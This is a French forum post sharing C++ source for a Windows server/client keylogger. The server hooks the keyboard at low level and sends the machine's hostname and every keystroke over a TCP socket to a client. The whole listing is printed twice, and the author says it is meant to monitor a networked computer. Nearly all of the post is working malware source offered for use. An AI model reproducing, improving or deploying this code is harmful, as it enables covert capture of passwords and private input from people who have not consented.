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KEYLOGGER SERVEUR/CLIENT
Information sur la source
Description
Voici un petit keylogger ( encore un ><) envoyant toute les touches tappées au client. Il ne prend pas en charge les majuscules ( du moin pas encore ). Je me suis inspiré d'un keylogguer classique sur ce site. Pour surveiller un ordinateur en réseau ou autre.
Source
- //Source du Serveur :
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <cstdio>
- #include <cstdlib>
-
- #include <iostream>
- #include <winsock2.h>
-
- #pragma comment(lib, "ws2_32.lib")
-
-
- HHOOK hKeyHook;
-
- SOCKET sock;
- SOCKET csock;
- SOCKADDR_IN sin;
- SOCKADDR_IN csin;
-
- using namespace std;
-
- void displayCharArray(char stringArray[], int size0floatArray);
-
- __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
-
- // Action du clavier et les touches tappées
- if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
- BYTE KeyState[256];
- WORD wBuffer;
- // Récupération des informations
- KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
-
- GetKeyboardState(KeyState);
- // Conversion code > ascii
-
- ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
-
- switch(hooked.vkCode)
- {
- case 9 :{send(csock,"<TAB>",6,0);break;}
- case 13 :{send(csock,"<ENTER>",8,0);break;}
- case VK_BACK :{send(csock,"<delete>",9,0);break;}
- case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
- case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
- case 160 :{send(csock,"<MAJ>",6,0);break;}
-
-
- default : {
- send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
- break;
- }}
-
-
- }
- // Fin du hook Renvoi des messages
- return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
- }
-
-
- // Boucle message
- void Boucle()
- {
- MSG message;
- while (GetMessage(&message,NULL,0,0)) {
- }
- }
-
-
- DWORD WINAPI KeyLogger(LPVOID lpParameter)
- {
-
- HINSTANCE hExe = GetModuleHandle(NULL);
-
- if (!hExe) return 1;
-
- // Demarrage du hook
- hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
-
- // Boucle message
- Boucle();
-
- return 0;
- }
-
- //**************************************************************************
- int main()
- { //*********************************************************************
-
-
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2,0),&WSAData);
-
-
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
-
- sin.sin_addr.s_addr = INADDR_ANY;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(2192);
- //**********************
- HANDLE hThread;
- DWORD dwThread;
- DWORD exThread;
- //**********************
-
- if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
- cout << "Problème de connection";
- system("PAUSE");
- return 1;}
- if (listen(sock, 0) == SOCKET_ERROR){
- cout << "Port déjà utilisé";
- system("PAUSE");
- return 1;}
- char FAR buffer[64] ;
-
- while(true)
- {
-
- int sinsize = sizeof(csin);
- if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
- {
- gethostname(buffer, sizeof(buffer));
- send(csock,buffer,sizeof(buffer),0);
- send(csock," // Keylogguer Actif : ",22,0);
- cout << "On" << endl;
- hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
-
- if (hThread) {
-
- return WaitForSingleObject(hThread,INFINITE);
- } else {
-
- return 0;
-
- }
-
- }
-
- closesocket(sock);
- WSACleanup();
- }
- }
-
- //CLIENT
- #include <cstdio>
- #include <cstdlib>
- #include <iostream>
- #include <winsock2.h>
-
- #pragma comment(lib, "ws2_32.lib")
-
- using namespace std;
-
- int main(int nNumberofArgs, char* pszArgs[])
- {
- char buffer[1024];
-
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2,0),&WSAData);
-
- SOCKET sock;
- sock = socket(AF_INET,SOCK_STREAM,0);
-
- SOCKADDR_IN sin;
- sin.sin_addr.s_addr = inet_addr("127.0.0.1");
- sin.sin_family = AF_INET;
- sin.sin_port = htons(2192);
-
- connect(sock,(SOCKADDR *)&sin,sizeof(sin));
- int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
- // Boucle infinie réception message
- for(;;)
- {
- int i = recv(sock,buffer,sizeof(buffer),0);
- if (i != false && i != SOCKET_ERROR)
- {
- cout << buffer;
- }
- if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
- if(x == false){
- system("PAUSE");
- return 1; // Si connection inexistante break
- }}
-
-
-
- closesocket(sock);
- WSACleanup();
-
- getchar();
- }
//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
HHOOK hKeyHook;
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
using namespace std;
void displayCharArray(char stringArray[], int size0floatArray);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
// Action du clavier et les touches tappées
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
BYTE KeyState[256];
WORD wBuffer;
// Récupération des informations
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState);
// Conversion code > ascii
ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);
switch(hooked.vkCode)
{
case 9 :{send(csock,"<TAB>",6,0);break;}
case 13 :{send(csock,"<ENTER>",8,0);break;}
case VK_BACK :{send(csock,"<delete>",9,0);break;}
case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
case 160 :{send(csock,"<MAJ>",6,0);break;}
default : {
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}
}
// Fin du hook Renvoi des messages
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Boucle message
void Boucle()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
// Demarrage du hook
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
// Boucle message
Boucle();
return 0;
}
//**************************************************************************
int main()
{ //*********************************************************************
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = htons(2192);
//**********************
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
//**********************
if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
cout << "Problème de connection";
system("PAUSE");
return 1;}
if (listen(sock, 0) == SOCKET_ERROR){
cout << "Port déjà utilisé";
system("PAUSE");
return 1;}
char FAR buffer[64] ;
while(true)
{
int sinsize = sizeof(csin);
if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
{
gethostname(buffer, sizeof(buffer));
send(csock,buffer,sizeof(buffer),0);
send(csock," // Keylogguer Actif : ",22,0);
cout << "On" << endl;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 0;
}
}
closesocket(sock);
WSACleanup();
}
}
//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(2192);
connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
int i = recv(sock,buffer,sizeof(buffer),0);
if (i != false && i != SOCKET_ERROR)
{
cout << buffer;
}
if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
if(x == false){
system("PAUSE");
return 1; // Si connection inexistante break
}}
closesocket(sock);
WSACleanup();
getchar();
}
Conclusion
Personnellement je n'arrive pas à établire une connection avec deux ordinateurs, je suis ouvert à toute aide de votre part.
Je sais que la déclaration de toute les touches pourrait être évité mais je n'arriver pas à faire autrement.
Il y'aura sans doute des améliorations prochainement.
Historique
- 05 novembre 2007 23:01:11 :
- Vérification des appels
- 05 novembre 2007 23:29:12 :
- Suppression de code inutile
- 06 novembre 2007 18:24:06 :
- Nouveaux systeme d'envoie des touches tappées, surveillance des connections du clients renforcée : plus le bug du client lorsque l'on coupe le serveur en premier
- 06 novembre 2007 19:06:05 :
- Suppression d'une variable inutile oubliée
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